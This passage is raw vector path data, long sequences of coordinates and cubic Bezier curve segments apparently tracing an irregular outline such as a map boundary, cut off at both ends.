166157.00 92299.00 166200.00C92320.33 166200.00 92341.67 166200.00 92363.00 166200.00C92373.67 166178.67 92384.33 166157.33 92395.00 166136.00C92395.00 166103.67 92395.00 166071.33 92395.00 166039.00C92427.33 165953.33 92459.67 165867.67 92492.00 165782.00C92492.00 165760.67 92492.00 165739.33 92492.00 165718.00C92438.24 165685.59 92384.44 165653.25 92330.71 165620.79C92287.81 165588.86 92244.90 165556.93 92202.00 165525.00C92137.67 165503.33 92073.33 165481.67 92009.00 165460.00C91998.33 165428.00 91987.67 165396.00 91977.00 165364.00C91987.67 165342.67 91998.33 165321.33 92009.00 165300.00C92073.45 165278.32 92137.87 165256.53 92202.35 165234.93C92255.90 165224.28 92309.45 165213.64 92363.00 165203.00C92427.41 165149.24 92491.88 165095.55 92556.25 165041.75C92566.97 165031.14 92577.47 165020.32 92588.32 165009.84C92609.54 164999.23 92630.77 164988.61 92652.00 164978.00C92663.00 164978.00 92674.00 164978.00 92685.00 164978.00C92695.66 164967.33 92706.34 164956.67 92717.00 164946.00C92706.33 164924.67 92695.67 164903.33 92685.00 164882.00C92706.33 164871.00 92727.67 164860.00 92749.00 164849.00C92738.33 164827.67 92727.67 164806.33 92717.00 164785.00C92727.69 164774.20 92738.60 164763.61 92749.16 164752.68C92759.77 164731.45 92770.39 164710.23 92781.00 164689.00C92802.33 164689.00 92823.67 164689.00 92845.00 164689.00C92866.66 164699.67 92888.34 164710.33 92910.00 164721.00C92910.00 164731.67 92910.00 164742.33 92910.00 164753.00C92899.00 164774.33 92888.00 164795.67 92877.00 164817.00C92877.00 164827.67 92877.00 164838.33 92877.00 164849.00C92920.00 164870.67 92963.00 164892.33 93006.00 164914.00C93016.67 164914.00 93027.33 164914.00 93038.00 164914.00C93048.66 164903.33 93059.34 164892.67 93070.00 164882.00C93070.00 164849.67 93070.00 164817.33 93070.00 164785.00C93091.67 164763.67 93113.33 164742.33 93135.00 164721.00C93167.00 164710.33 93199.00 164699.67 93231.00 164689.00C93263.38 164624.69 93295.89 164560.44 93328.00 164496.00C93349.33 164496.00 93370.67 164496.00 93392.00 164496.00C93413.33 164528.00 93434.67 164560.00 93456.00 164592.00C93488.33 164592.00 93520.67 164592.00 93553.00 164592.00C93563.67 164570.67 93574.33 164549.33 93585.00 164528.00C93627.67 164485.00 93670.33 164442.00 93713.00 164399.00C93777.33 164367.00 93841.67 164335.00 93906.00 164303.00C93917.00 164292.33 93928.00 164281.67 93939.00 164271.00C93939.00 164249.33 93939.00 164227.67 93939.00 164206.00C93917.33 164174.00 93895.67 164142.00 93874.00 164110.00C93863.33 164110.00 93852.67 164110.00 93842.00 164110.00C93842.00 164088.67 93842.00 164067.33 93842.00 164046.00C93863.33 164024.33 93884.67 164002.67 93906.00 163981.00C93949.00 163981.00 93992.00 163981.00 94035.00 163981.00C94045.66 163970.33 94056.34 163959.67 94067.00 163949.00C94077.67 163906.33 94088.33 163863.67 94099.00 163821.00C94109.67 163799.33 94120.33 163777.67 94131.00 163756.00C94163.33 163756.00 94195.67 163756.00 94228.00 163756.00C94271.00 163766.67 94314.00 163777.33 94357.00 163788.00C94378.33 163788.00 94399.67 163788.00 94421.00 163788.00C94432.42 163765.57 94443.19 163742.78 94455.04 163720.58C94486.36 163668.05 94517.68 163615.53 94549.00 163563.00C94613.34 163509.67 94677.66 163456.33 94742.00 163403.00C94763.67 163403.00 94785.33 163403.00 94807.00 163403.00C94828.33 163413.67 94849.67 163424.33 94871.00 163435.00C94892.44 163467.07 94913.71 163499.25 94935.25 163531.25C94966.74 163562.43 94998.76 163593.09 95029.30 163625.22C95033.33 163631.47 95037.34 163620.56 95041.36 163618.32C95059.34 163599.65 95077.61 163581.27 95096.00 163563.00C95085.33 163520.33 95074.67 163477.67 95064.00 163435.00C95074.80 163424.31 95085.39 163413.40 95096.32 163402.84C95117.67 163391.89 95138.93 163380.74 95160.35 163369.91C95203.23 163359.28 95246.12 163348.64 95289.00 163338.00C95332.38 163359.74 95375.59 163381.87 95419.09 163403.36C95450.72 163413.91 95482.36 163424.45 95514.00 163435.00C95524.67 163413.33 95535.33 163391.67 95546.00 163370.00C95546.00 163348.67 95546.00 163327.33 95546.00 163306.00C95535.33 163284.67 95524.67 163263.33 95514.00 163242.00C95439.00 163209.67 95364.00 163177.33 95289.00 163145.00C95278.33 163123.67 95267.67 163102.33 95257.00 163081.00C95278.34 163059.67 95299.66 163038.33 95321.00 163017.00C95353.33 163006.33 95385.67 162995.67 95418.00 162985.00C95471.57 163027.94 95525.31 163070.68 95578.77 163113.75C95589.51 163124.16 95600.25 163134.58 95611.00 163145.00C95632.33 163134.33 95653.67 163123.67 95675.00 163113.00C95685.67 163081.00 95696.33 163049.00 95707.00 163017.00C95728.33 163017.00 95749.67 163017.00 95771.00 163017.00C95803.33 163027.67 95835.67 163038.33 95868.00 163049.00C95878.67 163049.00 95889.33 163049.00 95900.00 163049.00C95921.33 163038.33 95942.67 163027.67 95964.00 163017.00C95974.67 162995.33 95985.33 162973.67 95996.00 162952.00C95996.00 162941.33 95996.00 162930.67 95996.00 162920.00C96039.00 162877.33 96082.00 162834.67 96125.00 162792.00C96125.00 162652.67 96125.00 162513.33 96125.00 162374.00C96135.67 162352.33 96146.33 162330.67 96157.00 162309.00C96221.33 162309.00 96285.67 162309.00 96350.00 162309.00C96360.66 162298.33 96371.34 162287.67 96382.00 162277.00C96392.68 162244.88 96403.46 162212.79 96414.07 162180.65C96425.05 162127.10 96436.02 162073.55 96447.00 162020.00C96479.00 161955.67 96511.00 161891.33 96543.00 161827.00C96553.67 161827.00 96564.33 161827.00 96575.00 161827.00C96596.33 161837.67 96617.67 161848.33 96639.00 161859.00C96650.00 161923.33 96661.00 161987.67 96672.00 162052.00C96693.33 162062.67 96714.67 162073.33 96736.00 162084.00C96757.33 162084.00 96778.67 162084.00 96800.00 162084.00C96832.06 162051.72 96864.61 162019.94 96897.00 161988.00C96929.00 161988.00 96961.00 161988.00 96993.00 161988.00C97057.33 162009.33 97121.67 162030.67 97186.00 162052.00C97196.66 162041.33 97207.34 162030.67 97218.00 162020.00C97217.94 161998.55 97218.11 161977.10 97217.91 161955.65C97207.28 161912.77 97196.64 161869.88 97186.00 161827.00C97186.00 161805.67 97186.00 161784.33 97186.00 161763.00C97196.67 161741.33 97207.33 161719.67 97218.00 161698.00C97228.67 161698.00 97239.33 161698.00 97250.00 161698.00C97261.00 161709.00 97272.00 161720.00 97283.00 161731.00C97304.33 161784.33 97325.67 161837.67 97347.00 161891.00C97379.00 161891.00 97411.00 161891.00 97443.00 161891.00C97453.77 161869.17 97465.01 161847.55 97475.49 161825.58C97486.40 161793.96 97497.15 161762.27 97508.18 161730.69C97540.13 161677.13 97572.06 161623.56 97604.00 161570.00C97604.00 161548.67 97604.00 161527.33 97604.00 161506.00C97614.67 161484.33 97625.33 161462.67 97636.00 161441.00C97646.67 161441.00 97657.33 161441.00 97668.00 161441.00C97711.00 161484.00 97754.00 161527.00 97797.00 161570.00C97818.33 161612.67 97839.67 161655.33 97861.00 161698.00C97871.67 161698.00 97882.33 161698.00 97893.00 161698.00C97914.66 161687.33 97936.34 161676.67 97958.00 161666.00C97968.67 161644.67 97979.33 161623.33 97990.00 161602.00C98000.66 161591.33 98011.34 161580.67 98022.00 161570.00C98097.00 161570.00 98172.00 161570.00 98247.00 161570.00C98268.33 161559.33 98289.67 161548.67 98311.00 161538.00C98311.00 161516.33 98311.00 161494.67 98311.00 161473.00C98299.93 161462.16 98289.29 161450.84 98277.96 161440.30C98246.30 161419.21 98214.65 161398.10 98183.00 161377.00C98183.00 161355.67 98183.00 161334.33 98183.00 161313.00C98236.67 161313.00 98290.33 161313.00 98344.00 161313.00C98375.45 161280.12 98407.87 161248.21 98440.00 161216.00C98450.67 161216.00 98461.33 161216.00 98472.00 161216.00C98504.34 161237.33 98536.66 161258.67 98569.00 161280.00C98569.00 161291.00 98569.00 161302.00 98569.00 161313.00C98601.10 161355.74 98633.09 161398.56 98665.25 161441.25C98675.97 161451.86 98686.47 161462.68 98697.32 161473.16C98718.87 161484.11 98740.44 161495.05 98762.00 161506.00C98783.33 161495.00 98804.67 161484.00 98826.00 161473.00C98826.00 161451.67 98826.00 161430.33 98826.00 161409.00C98815.33 161377.00 98804.67 161345.00 98794.00 161313.00C98794.00 161280.67 98794.00 161248.33 98794.00 161216.00C98804.67 161216.00 98815.33 161216.00 98826.00 161216.00C98847.33 161226.67 98868.67 161237.33 98890.00 161248.00C98911.38 161269.78 98932.89 161291.44 98954.20 161313.29C98975.80 161345.19 98997.40 161377.10 99019.00 161409.00C99030.01 161408.78 99041.14 161409.47 99052.09 161408.64C99083.72 161398.09 99115.36 161387.55 99147.00 161377.00C99147.00 161334.00 99147.00 161291.00 99147.00 161248.00C99158.00 161226.67 99169.00 161205.33 99180.00 161184.00C99190.66 161173.33 99201.34 161162.67 99212.00 161152.00C99244.00 161152.00 99276.00 161152.00 99308.00 161152.00C99329.33 161141.33 99350.67 161130.67 99372.00 161120.00C99383.00 161098.33 99394.00 161076.67 99405.00 161055.00C99405.00 161012.33 99405.00 160969.67 99405.00 160927.00C99415.67 160894.67 99426.33 160862.33 99437.00 160830.00C99458.33 160798.00 99479.67 160766.00 99501.00 160734.00C99501.06 160712.55 99500.89 160691.10 99501.09 160669.65C99511.72 160626.77 99522.36 160583.88 99533.00 160541.00C99554.34 160519.67 99575.66 160498.33 99597.00 160477.00C99608.00 160477.00 99619.00 160477.00 99630.00 160477.00C99640.66 160487.67 99651.34 160498.33 99662.00 160509.00C99662.00 160562.67 99662.00 160616.33 99662.00 160670.00C99683.33 160680.67 99704.67 160691.33 99726.00 160702.00C99833.33 160702.00 99940.67 160702.00 100048.00 160702.00C100079.57 160637.45 100111.88 160573.27 100144.00 160509.00C100187.00 160498.33 100230.00 160487.67 100273.00 160477.00C100294.33 160444.67 100315.67 160412.33 100337.00 160380.00C100337.00 160348.00 100337.00 160316.00 100337.00 160284.00C100347.67 160262.33 100358.33 160240.67 100369.00 160219.00C100401.33 160208.33 100433.67 160197.67 100466.00 160187.00C100508.67 160187.00 100551.33 160187.00 100594.00 160187.00C100594.00 160133.33 100594.00 160079.67 100594.00 160026.00C100604.67 160015.33 100615.33 160004.67 100626.00 159994.00C100647.67 159994.00 100669.33 159994.00 100691.00 159994.00C100712.33 160004.67 100733.67 160015.33 100755.00 160026.00C100765.67 160047.67 100776.33 160069.33 100787.00 160091.00C100808.67 160091.00 100830.33 160091.00 100852.00 160091.00C100873.33 160058.67 100894.67 160026.33 100916.00 159994.00C100926.67 159962.00 100937.33 159930.00 100948.00 159898.00C100958.67 159887.33 100969.33 159876.67 100980.00 159866.00C101012.33 159866.00 101044.67 159866.00 101077.00 159866.00C101098.33 159919.33 101119.67 159972.67 101141.00 160026.00C101151.67 160037.00 101162.33 160048.00 101173.00 160059.00C101183.67 160059.00 101194.33 160059.00 101205.00 160059.00C101215.67 160069.67 101226.33 160080.33 101237.00 160091.00C101258.67 160091.00 101280.33 160091.00 101302.00 160091.00C101313.24 160079.99 101324.02 160068.49 101335.57 160057.82C101377.71 160025.88 101419.85 159993.94 101462.00 159962.00C101483.67 159972.67 101505.33 159983.33 101527.00 159994.00C101548.33 160047.67 101569.67 160101.33 101591.00 160155.00C101612.33 160155.00 101633.67 160155.00 101655.00 160155.00C101676.67 160144.33 101698.33 160133.67 101720.00 160123.00C101730.67 160123.00 101741.33 160123.00 101752.00 160123.00C101762.80 160112.31 101773.39 160101.40 101784.32 160090.84C101805.55 160080.23 101826.77 160069.61 101848.00 160059.00C101858.67 160048.00 101869.33 160037.00 101880.00 160026.00C101912.33 160026.00 101944.67 160026.00 101977.00 160026.00C101998.33 160037.00 102019.67 160048.00 102041.00 160059.00C102041.00 160069.67 102041.00 160080.33 102041.00 160091.00C102051.67 160101.67 102062.33 160112.33 102073.00 160123.00C102073.00 160176.67 102073.00 160230.33 102073.00 160284.00C102083.67 160294.67 102094.33 160305.33 102105.00 160316.00C102116.00 160316.00 102127.00 160316.00 102138.00 160316.00C102159.33 160262.33 102180.67 160208.67 102202.00 160155.00C102245.00 160155.00 102288.00 160155.00 102331.00 160155.00C102373.67 160133.67 102416.33 160112.33 102459.00 160091.00C102491.33 160091.00 102523.67 160091.00 102556.00 160091.00C102588.00 160123.00 102620.00 160155.00 102652.00 160187.00C102673.33 160197.67 102694.67 160208.33 102716.00 160219.00C102748.33 160219.00 102780.67 160219.00 102813.00 160219.00C102813.00 160176.33 102813.00 160133.67 102813.00 160091.00C102791.67 160069.33 102770.33 160047.67 102749.00 160026.00C102749.00 159983.33 102749.00 159940.67 102749.00 159898.00C102791.67 159898.00 102834.33 159898.00 102877.00 159898.00C102887.67 159919.33 102898.33 159940.67 102909.00 159962.00C102930.67 159972.67 102952.33 159983.33 102974.00 159994.00C103049.00 159972.67 103124.00 159951.33 103199.00 159930.00C103209.74 159908.28 103220.87 159886.74 103231.36 159864.90C103241.91 159832.94 103252.45 159800.97 103263.00 159769.00C103284.33 159747.67 103305.67 159726.33 103327.00 159705.00C103337.67 159705.00 103348.33 159705.00 103359.00 159705.00C103370.00 159694.33 103381.00 159683.67 103392.00 159673.00C103402.69 159683.80 103413.60 159694.39 103424.16 159705.32C103434.77 159726.55 103445.39 159747.77 103456.00 159769.00C103466.67 159779.67 103477.33 159790.33 103488.00 159801.00C103552.33 159801.00 103616.67 159801.00 103681.00 159801.00C103681.00 159812.00 103681.00 159823.00 103681.00 159834.00C103691.67 159844.67 103702.33 159855.33 103713.00 159866.00C103723.67 159866.00 103734.33 159866.00 103745.00 159866.00C103745.00 159898.00 103745.00 159930.00 103745.00 159962.00C103733.58 159984.44 103722.81 160007.22 103710.96 160029.42C103679.64 160081.95 103648.32 160134.48 103617.00 160187.00C103617.00 160219.33 103617.00 160251.67 103617.00 160284.00C103638.33 160284.00 103659.67 160284.00 103681.00 160284.00C103702.33 160251.67 103723.67 160219.33 103745.00 160187.00C103830.98 160144.30 103916.82 160101.31 104003.00 160059.00C104013.67 160059.00 104024.33 160059.00 104035.00 160059.00C104088.33 160091.00 104141.67 160123.00 104195.00 160155.00C104216.67 160155.00 104238.33 160155.00 104260.00 160155.00C104270.67 160144.33 104281.33 160133.67 104292.00 160123.00C104302.67 160069.33 104313.33 160015.67 104324.00 159962.00C104324.00 159951.33 104324.00 159940.67 104324.00 159930.00C104334.67 159930.00 104345.33 159930.00 104356.00 159930.00C104366.67 159919.33 104377.33 159908.67 104388.00 159898.00C104399.00 159908.67 104410.00 159919.33 104421.00 159930.00C104442.33 159973.00 104463.67 160016.00 104485.00 160059.00C104485.00 160069.67 104485.00 160080.33 104485.00 160091.00C104496.03 160090.77 104507.17 160091.48 104518.13 160090.63C104614.20 160058.74 104710.07 160026.29 104806.00 159994.00C104806.00 159962.00 104806.00 159930.00 104806.00 159898.00C104795.33 159865.67 104784.67 159833.33 104774.00 159801.00C104774.00 159779.67 104774.00 159758.33 104774.00 159737.00C104806.33 159705.00 104838.67 159673.00 104871.00 159641.00C104924.33 159641.00 104977.67 159641.00 105031.00 159641.00C105042.00 159651.67 105053.00 159662.33 105064.00 159673.00C105052.91 159694.42 105041.96 159715.91 105030.79 159737.29C104998.86 159780.19 104966.93 159823.10 104935.00 159866.00C104935.00 159898.00 104935.00 159930.00 104935.00 159962.00C104945.67 159972.67 104956.33 159983.33 104967.00 159994.00C104977.67 159994.00 104988.33 159994.00 104999.00 159994.00C105042.00 159962.00 105085.00 159930.00 105128.00 159898.00C105138.67 159898.00 105149.33 159898.00 105160.00 159898.00C105170.67 159919.33 105181.33 159940.67 105192.00 159962.00C105202.67 159962.00 105213.33 159962.00 105224.00 159962.00C105224.00 159983.33 105224.00 160004.67 105224.00 160026.00C105202.56 160058.40 105181.29 160090.91 105159.75 160123.25C105149.17 160133.83 105138.58 160144.42 105128.00 160155.00C105128.00 160187.00 105128.00 160219.00 105128.00 160251.00C105138.67 160251.00 105149.33 160251.00 105160.00 160251.00C105170.67 160262.00 105181.33 160273.00 105192.00 160284.00C105213.67 160294.67 105235.33 160305.33 105257.00 160316.00C105267.67 160305.33 105278.33 160294.67 105289.00 160284.00C105289.00 160230.33 105289.00 160176.67 105289.00 160123.00C105299.67 160090.67 105310.33 160058.33 105321.00 160026.00C105332.01 160026.24 105343.15 160025.52 105354.09 160026.38C105385.73 160037.25 105417.36 160048.13 105449.00 160059.00C105449.00 160101.67 105449.00 160144.33 105449.00 160187.00C105460.00 160197.67 105471.00 160208.33 105482.00 160219.00C105493.02 160218.77 105504.14 160219.47 105515.09 160218.64C105546.83 160208.02 105578.61 160197.53 105610.32 160186.84C105631.88 160176.23 105653.44 160165.61 105675.00 160155.00C105675.00 160144.33 105675.00 160133.67 105675.00 160123.00C105717.67 160101.67 105760.33 160080.33 105803.00 160059.00C105813.67 160059.00 105824.33 160059.00 105835.00 160059.00C105845.67 160069.67 105856.33 160080.33 105867.00 160091.00C105867.00 160144.33 105867.00 160197.67 105867.00 160251.00C105888.67 160251.00 105910.33 160251.00 105932.00 160251.00C105953.33 160240.33 105974.67 160229.67 105996.00 160219.00C106039.00 160219.00 106082.00 160219.00 106125.00 160219.00C106135.67 160229.67 106146.33 160240.33 106157.00 160251.00C106189.00 160251.00 106221.00 160251.00 106253.00 160251.00C106253.00 160262.00 106253.00 160273.00 106253.00 160284.00C106263.67 160284.00 106274.33 160284.00 106285.00 160284.00C106284.78 160295.02 106285.47 160306.14 106284.64 160317.09C106274.09 160348.72 106263.55 160380.36 106253.00 160412.00C106253.00 160422.67 106253.00 160433.33 106253.00 160444.00C106274.67 160455.00 106296.33 160466.00 106318.00 160477.00C106318.00 160487.67 106318.00 160498.33 106318.00 160509.00C106361.00 160466.33 106403.00 160422.67 106446.00 160380.00C106456.67 160380.00 106467.33 160380.00 106478.00 160380.00C106489.07 160401.72 106500.57 160423.25 106511.36 160445.10C106521.91 160477.06 106532.45 160509.03 106543.00 160541.00C106543.00 160551.67 106543.00 160562.33 106543.00 160573.00C106553.67 160583.67 106564.33 160594.33 106575.00 160605.00C106585.67 160605.00 106596.33 160605.00 106607.00 160605.00C106628.33 160583.67 106649.67 160562.33 106671.00 160541.00C106671.00 160508.67 106671.00 160476.33 106671.00 160444.00C106681.67 160433.33 106692.33 160422.67 106703.00 160412.00C106724.67 160412.00 106746.33 160412.00 106768.00 160412.00C106789.33 160444.33 106810.67 160476.67 106832.00 160509.00C106853.33 160519.67 106874.67 160530.33 106896.00 160541.00C106906.67 160541.00 106917.33 160541.00 106928.00 160541.00C106939.00 160530.33 106950.00 160519.67 106961.00 160509.00C106993.00 160498.33 107025.00 160487.67 107057.00 160477.00C107067.67 160466.00 107078.33 160455.00 107089.00 160444.00C107132.00 160444.00 107175.00 160444.00 107218.00 160444.00C107239.33 160433.33 107260.67 160422.67 107282.00 160412.00C107303.33 160444.33 107324.67 160476.67 107346.00 160509.00C107399.67 160519.67 107453.33 160530.33 107507.00 160541.00C107539.33 160541.00 107571.67 160541.00 107604.00 160541.00C107604.00 160487.33 107604.00 160433.67 107604.00 160380.00C107657.33 160348.00 107710.67 160316.00 107764.00 160284.00C107785.67 160284.00 107807.33 160284.00 107829.00 160284.00C107828.78 160295.02 107829.47 160306.14 107828.64 160317.09C107818.09 160348.72 107807.55 160380.36 107797.00 160412.00C107797.00 160444.33 107797.00 160476.67 107797.00 160509.00C107842.44 160554.59 107888.19 160599.87 107933.41 160645.67C107941.28 160653.78 107949.14 160661.89 107957.00 160670.00C107967.67 160670.00 107978.33 160670.00 107989.00 160670.00C108000.00 160659.00 108011.00 160648.00 108022.00 160637.00C108011.00 160594.33 108000.00 160551.67 107989.00 160509.00C107989.00 160498.33 107989.00 160487.67 107989.00 160477.00C108010.67 160477.00 108032.33 160477.00 108054.00 160477.00C108054.00 160487.67 108054.00 160498.33 108054.00 160509.00C108064.67 160509.00 108075.33 160509.00 108086.00 160509.00C108075.33 160551.67 108064.67 160594.33 108054.00 160637.00C108064.67 160669.33 108075.33 160701.67 108086.00 160734.00C108107.33 160723.33 108128.67 160712.67 108150.00 160702.00C108171.67 160680.33 108193.33 160658.67 108215.00 160637.00C108225.67 160637.00 108236.33 160637.00 108247.00 160637.00C108268.33 160658.67 108289.67 160680.33 108311.00 160702.00C108332.33 160712.67 108353.67 160723.33 108375.00 160734.00C108396.67 160755.33 108418.33 160776.67 108440.00 160798.00C108450.67 160798.00 108461.33 160798.00 108472.00 160798.00C108472.00 160787.33 108472.00 160776.67 108472.00 160766.00C108482.67 160755.33 108493.33 160744.67 108504.00 160734.00C108482.60 160691.24 108461.16 160648.47 108440.33 160605.44C108439.58 160598.20 108440.21 160590.76 108440.00 160583.44C108440.00 160558.63 108440.00 160533.81 108440.00 160509.00C108504.33 160509.00 108568.67 160509.00 108633.00 160509.00C108643.67 160498.33 108654.33 160487.67 108665.00 160477.00C108697.00 160498.33 108729.00 160519.67 108761.00 160541.00C108750.33 160551.67 108739.67 160562.33 108729.00 160573.00C108697.00 160583.67 108665.00 160594.33 108633.00 160605.00C108611.33 160626.67 108589.67 160648.33 108568.00 160670.00C108568.00 160680.67 108568.00 160691.33 108568.00 160702.00C108611.00 160712.67 108654.00 160723.33 108697.00 160734.00C108707.67 160734.00 108718.33 160734.00 108729.00 160734.00C108750.33 160766.00 108771.67 160798.00 108793.00 160830.00C108803.67 160830.00 108814.33 160830.00 108825.00 160830.00C108825.00 160840.67 108825.00 160851.33 108825.00 160862.00C108836.00 160862.00 108847.00 160862.00 108858.00 160862.00C108868.69 160851.20 108879.60 160840.61 108890.16 160829.68C108900.84 160808.07 108911.92 160786.63 108922.36 160764.91C108932.91 160733.28 108943.45 160701.64 108954.00 160670.00C108985.56 160638.11 109016.62 160605.71 109049.15 160574.80C109054.12 160570.96 109061.85 160573.94 109068.00 160573.00C109074.51 160573.91 109082.90 160570.28 109087.00 160577.00C109096.33 160586.33 109105.67 160595.67 109115.00 160605.00C109104.33 160658.67 109093.67 160712.33 109083.00 160766.00C109104.33 160766.00 109125.67 160766.00 109147.00 160766.00C109168.33 160755.33 109189.67 160744.67 109211.00 160734.00C109232.67 160734.00 109254.33 160734.00 109276.00 160734.00C109286.67 160723.33 109297.33 160712.67 109308.00 160702.00C109329.33 160712.67 109350.67 160723.33 109372.00 160734.00C109372.00 160787.67 109372.00 160841.33 109372.00 160895.00C109382.67 160905.67 109393.33 160916.33 109404.00 160927.00C109425.67 160927.00 109447.33 160927.00 109469.00 160927.00C109490.33 160916.33 109511.67 160905.67 109533.00 160895.00C109565.00 160905.67 109597.00 160916.33 109629.00 160927.00C109650.67 160927.00 109672.33 160927.00 109694.00 160927.00C109726.00 160905.33 109758.00 160883.67 109790.00 160862.00C109800.67 160862.00 109811.33 160862.00 109822.00 160862.00C109822.00 160883.67 109822.00 160905.33 109822.00 160927.00C109800.67 160937.67 109779.33 160948.33 109758.00 160959.00C109768.67 160969.67 109779.33 160980.33 109790.00 160991.00C109790.00 161001.67 109790.00 161012.33 109790.00 161023.00C109811.33 161033.67 109832.67 161044.33 109854.00 161055.00C109865.00 161065.67 109876.00 161076.33 109887.00 161087.00C109908.33 161076.33 109929.67 161065.67 109951.00 161055.00C109983.00 161055.00 110015.00 161055.00 110047.00 161055.00C110068.67 161065.67 110090.33 161076.33 110112.00 161087.00C110112.00 161108.67 110112.00 161130.33 110112.00 161152.00C110026.00 161152.00 109940.00 161152.00 109854.00 161152.00C109854.00 161173.33 109854.00 161194.67 109854.00 161216.00C109875.67 161226.67 109897.33 161237.33 109919.00 161248.00C109972.67 161248.00 110026.33 161248.00 110080.00 161248.00C110112.00 161280.33 110144.00 161312.67 110176.00 161345.00C110176.00 161366.33 110176.00 161387.67 110176.00 161409.00C110133.00 161441.33 110090.00 161473.67 110047.00 161506.00C110058.00 161516.67 110069.00 161527.33 110080.00 161538.00C110101.33 161538.00 110122.67 161538.00 110144.00 161538.00C110184.57 161517.84 110225.03 161497.46 110265.19 161476.51C110270.79 161472.06 110277.69 161472.97 110284.38 161473.00C110291.25 161473.00 110298.12 161473.00 110305.00 161473.00C110315.67 161484.00 110326.33 161495.00 110337.00 161506.00C110337.00 161559.33 110337.00 161612.67 110337.00 161666.00C110358.33 161698.33 110379.67 161730.67 110401.00 161763.00C110422.33 161763.00 110443.67 161763.00 110465.00 161763.00C110464.78 161751.98 110465.47 161740.86 110464.64 161729.90C110454.09 161697.94 110443.55 161665.97 110433.00 161634.00C110443.67 161623.33 110454.33 161612.67 110465.00 161602.00C110465.00 161591.33 110465.00 161580.67 110465.00 161570.00C110518.67 161570.00 110572.33 161570.00 110626.00 161570.00C110625.91 161580.78 110626.18 161591.56 110625.87 161602.33C110604.58 161655.89 110583.29 161709.44 110562.00 161763.00C110572.67 161773.67 110583.33 161784.33 110594.00 161795.00C110636.90 161773.46 110679.90 161752.12 110723.00 161731.00C110755.00 161763.00 110787.00 161795.00 110819.00 161827.00C110840.33 161827.00 110861.67 161827.00 110883.00 161827.00C110883.00 161805.67 110883.00 161784.33 110883.00 161763.00C110861.67 161741.33 110840.33 161719.67 110819.00 161698.00C110819.00 161676.67 110819.00 161655.33 110819.00 161634.00C110840.45 161633.95 110861.90 161634.09 110883.35 161633.93C110936.90 161623.28 110990.45 161612.64 111044.00 161602.00C111044.00 161612.67 111044.00 161623.33 111044.00 161634.00C111065.33 161644.67 111086.67 161655.33 111108.00 161666.00C111129.67 161687.67 111151.33 161709.33 111173.00 161731.00C111183.67 161731.00 111194.33 161731.00 111205.00 161731.00C111215.67 161720.00 111226.33 161709.00 111237.00 161698.00C111247.67 161666.00 111258.33 161634.00 111269.00 161602.00C111279.67 161591.33 111290.33 161580.67 111301.00 161570.00C111322.67 161570.00 111344.33 161570.00 111366.00 161570.00C111387.33 161580.67 111408.67 161591.33 111430.00 161602.00C111430.00 161612.67 111430.00 161623.33 111430.00 161634.00C111419.33 161655.33 111408.67 161676.67 111398.00 161698.00C111408.67 161719.67 111419.33 161741.33 111430.00 161763.00C111462.00 161763.00 111494.00 161763.00 111526.00 161763.00C111537.00 161752.33 111548.00 161741.67 111559.00 161731.00C111559.00 161698.67 111559.00 161666.33 111559.00 161634.00C111591.00 161634.00 111623.00 161634.00 111655.00 161634.00C111655.00 161644.67 111655.00 161655.33 111655.00 161666.00C111665.67 161666.00 111676.33 161666.00 111687.00 161666.00C111665.67 161730.33 111644.33 161794.67 111623.00 161859.00C111633.67 161869.67 111644.33 161880.33 111655.00 161891.00C111676.33 161891.00 111697.67 161891.00 111719.00 161891.00C111740.67 161859.00 111762.33 161827.00 111784.00 161795.00C111816.00 161795.00 111848.00 161795.00 111880.00 161795.00C111879.94 161816.45 111880.11 161837.90 111879.91 161859.35C111869.28 161902.24 111858.64 161945.12 111848.00 161988.00C111858.67 162009.33 111869.33 162030.67 111880.00 162052.00C111890.67 162062.67 111901.33 162073.33 111912.00 162084.00C111922.67 162084.00 111933.33 162084.00 111944.00 162084.00C111955.00 162062.67 111966.00 162041.33 111977.00 162020.00C111977.00 162009.33 111977.00 161998.67 111977.00 161988.00C111987.67 161988.00 111998.33 161988.00 112009.00 161988.00C112009.00 161977.33 112009.00 161966.67 112009.00 161956.00C112030.33 161966.67 112051.67 161977.33 112073.00 161988.00C112116.00 161977.33 112159.00 161966.67 112202.00 161956.00C112234.00 161956.00 112266.00 161956.00 112298.00 161956.00C112308.67 161977.33 112319.33 161998.67 112330.00 162020.00C112340.67 162020.00 112351.33 162020.00 112362.00 162020.00C112362.00 162063.00 112362.00 162106.00 112362.00 162149.00C112383.91 162170.09 112405.60 162191.39 112427.00 162213.00C112437.67 162213.00 112448.33 162213.00 112459.00 162213.00C112459.00 162223.67 112459.00 162234.33 112459.00 162245.00C112491.00 162277.33 112523.00 162309.67 112555.00 162342.00C112555.00 162374.00 112555.00 162406.00 112555.00 162438.00C112576.67 162438.00 112598.33 162438.00 112620.00 162438.00C112630.67 162416.67 112641.33 162395.33 112652.00 162374.00C112673.36 162352.87 112694.37 162331.38 112715.30 162309.83C112721.55 162305.61 112728.80 162302.90 112735.45 162299.27C112750.30 162291.85 112765.15 162284.42 112780.00 162277.00C112801.67 162287.67 112823.33 162298.33 112845.00 162309.00C112844.79 162320.44 112845.43 162331.96 112844.66 162343.35C112834.12 162385.57 112823.56 162427.78 112813.00 162470.00C112834.33 162480.67 112855.67 162491.33 112877.00 162502.00C112898.33 162523.67 112919.67 162545.33 112941.00 162567.00C112973.33 162545.33 113005.67 162523.67 113038.00 162502.00C113059.33 162512.67 113080.67 162523.33 113102.00 162534.00C113112.67 162534.00 113123.33 162534.00 113134.00 162534.00C113134.00 162566.33 113134.00 162598.67 113134.00 162631.00C113144.67 162641.67 113155.33 162652.33 113166.00 162663.00C113155.33 162673.67 113144.67 162684.33 113134.00 162695.00C113134.00 162716.33 113134.00 162737.67 113134.00 162759.00C113166.33 162770.00 113198.67 162781.00 113231.00 162792.00C113252.33 162781.00 113273.67 162770.00 113295.00 162759.00C113305.67 162780.67 113316.33 162802.33 113327.00 162824.00C113327.00 162845.33 113327.00 162866.67 113327.00 162888.00C113359.00 162909.33 113391.00 162930.67 113423.00 162952.00C113434.00 162973.67 113445.00 162995.33 113456.00 163017.00C113466.67 163027.67 113477.33 163038.33 113488.00 163049.00C113509.33 163027.67 113530.67 163006.33 113552.00 162985.00C113573.33 162995.67 113594.67 163006.33 113616.00 163017.00C113648.33 163017.00 113680.67 163017.00 113713.00 163017.00C113734.45 163038.38 113755.76 163059.90 113777.30 163081.20C113809.54 163102.46 113841.77 163123.73 113874.00 163145.00C113906.00 163145.00 113938.00 163145.00 113970.00 163145.00C113970.22 163156.02 113969.53 163167.14 113970.36 163178.10C113980.91 163210.06 113991.45 163242.03 114002.00 163274.00C114002.00 163284.67 114002.00 